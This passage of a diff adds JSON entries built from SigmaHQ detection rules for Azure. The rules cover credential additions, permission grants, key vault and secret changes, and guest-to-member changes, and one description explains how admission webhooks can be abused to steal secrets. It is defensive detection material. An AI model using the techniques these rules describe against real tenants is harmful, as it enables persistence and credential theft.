"attack.defense_evasion" + ] + }, + "uuid": "410d2a41-1e6d-452f-85e5-abdd8257a823", + "value": "Azure Application Deleted" + }, + { + "description": "Identifies when a application gateway is modified or deleted.", + "meta": { + "author": "Austin Songer", + "creation_date": "2021/08/16", + "falsepositive": [ + "Application gateway being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Application gateway modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_application_gateway_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_application_gateway_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "ad87d14e-7599-4633-ba81-aeb60cfe8cd6", + "value": "Azure Application Gateway Modified or Deleted" + }, + { + "description": "Identifies when a application security group is modified or deleted.", + "meta": { + "author": "Austin Songer", + "creation_date": "2021/08/16", + "falsepositive": [ + "Application security group being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Application security group modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_application_security_group_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_application_security_group_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "835747f1-9329-40b5-9cc3-97d465754ce6", + "value": "Azure Application Security Group Modified or Deleted" + }, + { + "description": "Detects when a configuration change is made to an applications AppID URI.", + "meta": { + "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", + "creation_date": "2022/06/02", + "falsepositive": [ + "When and administrator is making legitimate AppID URI configuration changes to an application. This should be a planned event." + ], + "filename": "azure_app_appid_uri_changes.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#appid-uri-added-modified-or-removed", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_appid_uri_changes.yml" + ], + "tags": [ + "attack.t1528", + "attack.persistence", + "attack.credential_access" + ] + }, + "uuid": "1b45b0d1-773f-4f23-aedc-814b759563b1", + "value": "Application AppID Uri Configuration Changes" + }, + { + "description": "Detects when a new credential is added to an existing application. Any additional credentials added outside of expected processes could be a malicious actor using those credentials.", + "meta": { + "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", + "creation_date": "2022/05/26", + "falsepositive": [ + "When credentials are added/removed as part of the normal working hours/workflows" + ], + "filename": "azure_app_credential_added.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-credentials", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_credential_added.yml" + ], + "tags": [ + "attack.t1098", + "attack.persistence" + ] + }, + "uuid": "cbb67ecc-fb70-4467-9350-c910bdf7c628", + "value": "Added Credentials to Existing Application" + }, + { + "description": "Identifies when a application credential is modified.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/09/02", + "falsepositive": [ + "Application credential added may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Application credential added from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_app_credential_modification.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://www.cloud-architekt.net/auditing-of-msi-and-service-principals/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_credential_modification.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "cdeef967-f9a1-4375-90ee-6978c5f23974", + "value": "Azure Application Credential Modified" + }, + { + "description": "Detects when highly privileged delegated permissions are granted on behalf of all users", + "meta": { + "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", + "creation_date": "2022/07/28", + "falsepositive": [ + "When the permission is legitimately needed for the app" + ], + "filename": "azure_app_delegated_permissions_all_users.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_delegated_permissions_all_users.yml" + ], + "tags": [ + "attack.privilege_escalation" + ] + }, + "uuid": "a6355fbe-f36f-45d8-8efc-ab42465cbc52", + "value": "Delegated Permissions Granted For All Users" + }, + { + "description": "Device code flow is an OAuth 2.0 protocol flow specifically for input constrained devices and is not used in all environments.\nIf this type of flow is seen in the environment and not being used in an input constrained device scenario, further investigation is warranted.\nThis can be a misconfigured application or potentially something malicious.\n", + "meta": { + "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", + "creation_date": "2022/06/01", + "falsepositive": [ + "Applications that are input constrained will need to use device code flow and are valid authentications." + ], + "filename": "azure_app_device_code_authentication.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-authentication-flows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_device_code_authentication.yml" + ], + "tags": [ + "attack.t1078", + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.initial_access" + ] + }, + "uuid": "248649b7-d64f-46f0-9fb2-a52774166fb5", + "value": "Application Using Device Code Authentication Flow" + }, + { + "description": "Detects when an end user consents to an application", + "meta": { + "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", + "creation_date": "2022/07/28", + "falsepositive": [ + "Unknown" + ], + "filename": "azure_app_end_user_consent.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#end-user-consent", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_end_user_consent.yml" + ], + "tags": [ + "attack.privilege_escalation" + ] + }, + "uuid": "9b2cc4c4-2ad4-416d-8e8e-ee6aa6f5035a", + "value": "End User Consent" + }, + { + "description": "Detects when end user consent is blocked due to risk-based consent.", + "meta": { + "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", + "creation_date": "2022/07/10", + "falsepositive": [ + "Unknown" + ], + "filename": "azure_app_end_user_consent_blocked.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#end-user-stopped-due-to-risk-based-consent", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_end_user_consent_blocked.yml" + ], + "tags": [ + "attack.privilege_escalation" + ] + }, + "uuid": "7091372f-623c-4293-bc37-20c32b3492be", + "value": "End User Consent Blocked" + }, + { + "description": "Detects when a new owner is added to an application. This gives that account privileges to make modifications and configuration changes to the application.", + "meta": { + "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", + "creation_date": "2022/06/02", + "falsepositive": [ + "When a new application owner is added by an administrator" + ], + "filename": "azure_app_owner_added.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#new-owner", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_owner_added.yml" + ], + "tags": [ + "attack.t1528", + "attack.persistence", + "attack.credential_access", + "attack.defense_evasion" + ] + }, + "uuid": "74298991-9fc4-460e-a92e-511aa60baec1", + "value": "Added Owner To Application" + }, + { + "description": "Detects when app permissions (app roles) for other APIs are granted", + "meta": { + "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", + "creation_date": "2022/07/28", + "falsepositive": [ + "When the permission is legitimately needed for the app" + ], + "filename": "azure_app_permissions_for_api.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_permissions_for_api.yml" + ], + "tags": [ + "attack.privilege_escalation" + ] + }, + "uuid": "ba2a7c80-027b-460f-92e2-57d113897dbc", + "value": "App Permissions Granted For Other APIs" + }, + { + "description": "Detects when an application is granted delegated or app role permissions for Microsoft Graph, Exchange, Sharepoint, or Azure AD", + "meta": { + "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", + "creation_date": "2022/07/10", + "falsepositive": [ + "When the permission is legitimately needed for the app" + ], + "filename": "azure_app_permissions_msft.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_permissions_msft.yml" + ], + "tags": [ + "attack.privilege_escalation" + ] + }, + "uuid": "c1d147ae-a951-48e5-8b41-dcd0170c7213", + "value": "App Granted Microsoft Permissions" + }, + { + "description": "Detects when administrator grants either application permissions (app roles) or highly privileged delegated permissions", + "meta": { + "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", + "creation_date": "2022/07/28", + "falsepositive": [ + "When the permission is legitimately needed for the app" + ], + "filename": "azure_app_privileged_permissions.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "microsoft365portal", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_privileged_permissions.yml" + ], + "tags": [ + "attack.privilege_escalation" + ] + }, + "uuid": "5aecf3d5-f8a0-48e7-99be-3a759df7358f", + "value": "App Granted Privileged Delegated Or App Permissions" + }, + { + "description": "Detects when an app is assigned Azure AD roles, such as global adminsitrator, or Azure RBAC roles, such as subscription owner.", + "meta": { + "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", + "creation_date": "2022/07/19", + "falsepositive": [ + "When the permission is legitimately needed for the app" + ], + "filename": "azure_app_role_added.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#service-principal-assigned-to-a-role", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_role_added.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "b04934b2-0a68-4845-8a19-bdfed3a68a7a", + "value": "App Role Added" + }, + { + "description": "Resource owner password credentials (ROPC) should be avoided if at all possible as this requires the user to expose their current password credentials to the application directly.\nThe application then uses those credentials to authenticate the user against the identity provider.\n", + "meta": { + "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", + "creation_date": "2022/06/01", + "falsepositive": [ + "Applications that are being used as part of automated testing or a legacy application that cannot use any other modern authentication flow" + ], + "filename": "azure_app_ropc_authentication.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-authentication-flows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_ropc_authentication.yml" + ], + "tags": [ + "attack.t1078", + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.initial_access" + ] + }, + "uuid": "55695bc0-c8cf-461f-a379-2535f563c854", + "value": "Applications That Are Using ROPC Authentication Flow" + }, + { + "description": "Detects when a configuration change is made to an applications URI.\nURIs for domain names that no longer exist (dangling URIs), not using HTTPS, wildcards at the end of the domain, URIs that are no unique to that app, or URIs that point to domains you do not control should be investigated.\n", + "meta": { + "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", + "creation_date": "2022/06/02", + "falsepositive": [ + "When and administrator is making legitimate URI configuration changes to an application. This should be a planned event." + ], + "filename": "azure_app_uri_modifications.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-configuration-changes", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_uri_modifications.yml" + ], + "tags": [ + "attack.t1528", + "attack.persistence", + "attack.credential_access" + ] + }, + "uuid": "0055ad1f-be85-4798-83cf-a6da17c993b3", + "value": "Application URI Configuration Changes" + }, + { + "description": "Detects when an account is disabled or blocked for sign in but tried to log in", + "meta": { + "author": "Yochana Henderson, '@Yochana-H'", + "creation_date": "2022/06/17", + "falsepositive": [ + "Account disabled or blocked in error", + "Automation account has been blocked or disabled" + ], + "filename": "azure_blocked_account_attempt.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_blocked_account_attempt.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110" + ] + }, + "uuid": "4afac85c-224a-4dd7-b1af-8da40e1c60bd", + "value": "Account Disabled or Blocked for Sign in Attempts" + }, + { + "description": "Change to authentication method could be an indicated of an attacker adding an auth method to the account so they can have continued access.", + "meta": { + "author": "AlertIQ", + "creation_date": "2021/10/10", + "falsepositive": [ + "Unknown" + ], + "filename": "azure_change_to_authentication_method.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_change_to_authentication_method.yml" + ], + "tags": [ + "attack.credential_access" + ] + }, + "uuid": "4d78a000-ab52-4564-88a5-7ab5242b20c7", + "value": "Change to Authentication Method" + }, + { + "description": "Define a baseline threshold for failed sign-ins due to Conditional Access failures", + "meta": { + "author": "Yochana Henderson, '@Yochana-H'", + "creation_date": "2022/06/01", + "falsepositive": [ + "Service Account misconfigured", + "Misconfigured Systems", + "Vulnerability Scanners" + ], + "filename": "azure_conditional_access_failure.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_conditional_access_failure.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110" + ] + }, + "uuid": "b4a6d707-9430-4f5f-af68-0337f52d5c42", + "value": "Sign-in Failure Due to Conditional Access Requirements Not Met" + }, + { + "description": "Detects when a Container Registry is created or deleted.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/07", + "falsepositive": [ + "Container Registry being created or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Container Registry created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_container_registry_created_or_deleted.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_container_registry_created_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "93e0ef48-37c8-49ed-a02c-038aab23628e", + "value": "Azure Container Registry Created or Deleted" + }, + { + "description": "Number of VM creations or deployment activities occur in Azure via the azureactivity log.", + "meta": { + "author": "sawwinnnaung", + "creation_date": "2020/05/07", + "falsepositive": [ + "Valid change" + ], + "filename": "azure_creating_number_of_resources_detection.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Creating_Anomalous_Number_Of_Resources_detection.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_creating_number_of_resources_detection.yml" + ], + "tags": [ + "attack.t1098" + ] + }, + "uuid": "d2d901db-7a75-45a1-bc39-0cbf00812192", + "value": "Number Of Resource Creation Or Deployment Activities" + }, + { + "description": "Identifies when a device in azure is no longer managed or compliant", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/09/03", + "falsepositive": [ + "Administrator may have forgotten to review the device." + ], + "filename": "azure_device_no_longer_managed_or_compliant.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#core-directory", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_device_no_longer_managed_or_compliant.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "542b9912-c01f-4e3f-89a8-014c48cdca7d", + "value": "Azure Device No Longer Managed or Compliant" + }, + { + "description": "Identifies when a device or device configuration in azure is modified or deleted.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/09/03", + "falsepositive": [ + "Device or device configuration being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Device or device configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_device_or_configuration_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#core-directory", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_device_or_configuration_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "46530378-f9db-4af9-a9e5-889c177d3881", + "value": "Azure Device or Configuration Modified or Deleted" + }, + { + "description": "Identifies when DNS zone is modified or deleted.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/08", + "falsepositive": [ + "DNS zone modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "DNS zone modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_dns_zone_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_dns_zone_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "af6925b0-8826-47f1-9324-337507a0babd", + "value": "Azure DNS Zone Modified or Deleted" + }, + { + "description": "Identifies when an user or application modified the federation settings on the domain.", + "meta": { + "author": "Austin Songer", + "creation_date": "2021/09/06", + "falsepositive": [ + "Federation Settings being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Federation Settings modified from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_federation_modified.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://attack.mitre.org/techniques/T1078", + "https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-monitor-federation-changes", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_federation_modified.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ] + }, + "uuid": "352a54e1-74ba-4929-9d47-8193d67aba1e", + "value": "Azure Domain Federation Settings Modified" + }, + { + "description": "Identifies when a firewall is created, modified, or deleted.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/08", + "falsepositive": [ + "Firewall being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Firewall modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_firewall_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_firewall_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "512cf937-ea9b-4332-939c-4c2c94baadcd", + "value": "Azure Firewall Modified or Deleted" + }, + { + "description": "Identifies when Rule Collections (Application, NAT, and Network) is being modified or deleted.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/08", + "falsepositive": [ + "Rule Collections (Application, NAT, and Network) being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Rule Collections (Application, NAT, and Network) modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_firewall_rule_collection_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_firewall_rule_collection_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "025c9fe7-db72-49f9-af0d-31341dd7dd57", + "value": "Azure Firewall Rule Collection Modified or Deleted" + }, + { + "description": "Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.", + "meta": { + "author": "sawwinnnaung", + "creation_date": "2020/05/07", + "falsepositive": [ + "Valid change" + ], + "filename": "azure_granting_permission_detection.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Granting_Permissions_To_Account_detection.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_granting_permission_detection.yml" + ], + "tags": [ + "attack.t1098" + ] + }, + "uuid": "a622fcd2-4b5a-436a-b8a2-a4171161833c", + "value": "Granting Of Permissions To An Account" + }, + { + "description": "Monitor and alert on group membership additions of groups that have CA policy modification access", + "meta": { + "author": "Mark Morowczynski '@markmorow', Thomas Detzner '@tdetzner'", + "creation_date": "2022/08/04", + "falsepositive": [ + "User removed from the group is approved" + ], + "filename": "azure_group_user_addition_ca_modification.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_group_user_addition_ca_modification.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ] + }, + "uuid": "91c95675-1f27-46d0-bead-d1ae96b97cd3", + "value": "User Added To Group With CA Policy Modification Access" + }, + { + "description": "Monitor and alert on group membership removal of groups that have CA policy modification access", + "meta": { + "author": "Mark Morowczynski '@markmorow', Thomas Detzner '@tdetzner'", + "creation_date": "2022/08/04", + "falsepositive": [ + "User removed from the group is approved" + ], + "filename": "azure_group_user_removal_ca_modification.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_group_user_removal_ca_modification.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ] + }, + "uuid": "665e2d43-70dc-4ccc-9d27-026c9dd7ed9c", + "value": "User Removed From Group With CA Policy Modification Access" + }, + { + "description": "Detects when a user that doesn't have permissions to invite a guest user attempts to invite one.", + "meta": { + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", + "creation_date": "2022/08/10", + "falsepositive": [ + "A non malicious user is unaware of the proper process" + ], + "filename": "azure_guest_invite_failure.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#things-to-monitor", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_guest_invite_failure.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1078" + ] + }, + "uuid": "0b4b72e3-4c53-4d5b-b198-2c58cfef39a9", + "value": "Guest User Invited By Non Approved Inviters" + }, + { + "description": "Detects the change of user type from \"Guest\" to \"Member\" for potential elevation of privilege.", + "meta": { + "author": "MikeDuddington, '@dudders1'", + "creation_date": "2022/06/30", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "filename": "azure_guest_to_member.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-external-user-sign-ins", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_guest_to_member.yml" + ], + "tags": [ + "attack.t1078" + ] + }, + "uuid": "8dee7a0d-43fd-4b3c-8cd1-605e189d195e", + "value": "User State Changed From Guest To Member" + }, + { + "description": "Identifies when a Keyvault Key is modified or deleted in Azure.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/16", + "falsepositive": [ + "Key being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Key modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_keyvault_key_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_key_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.credential_access", + "attack.t1552", + "attack.t1552.001" + ] + }, + "uuid": "80eeab92-0979-4152-942d-96749e11df40", + "value": "Azure Keyvault Key Modified or Deleted" + }, + { + "description": "Identifies when a key vault is modified or deleted.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/16", + "falsepositive": [ + "Key Vault being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Key Vault modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_keyvault_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.credential_access", + "attack.t1552", + "attack.t1552.001" + ] + }, + "uuid": "459a2970-bb84-4e6a-a32e-ff0fbd99448d", + "value": "Azure Key Vault Modified or Deleted" + }, + { + "description": "Identifies when secrets are modified or deleted in Azure.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/16", + "falsepositive": [ + "Secrets being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Secrets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_keyvault_secrets_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_secrets_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.credential_access", + "attack.t1552", + "attack.t1552.001" + ] + }, + "uuid": "b831353c-1971-477b-abb6-2828edc3bca1", + "value": "Azure Keyvault Secrets Modified or Deleted" + }, + { + "description": "Identifies when an admission controller is executed in Azure Kubernetes.\nA Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server.\nThe behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster.\nAn adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster.\nFor example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod.\nAn adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials.\nAn adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.\n", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/11/25", + "falsepositive": [ + "Azure Kubernetes Admissions Controller may be done by a system administrator.", + "If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_kubernetes_admission_controller.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + 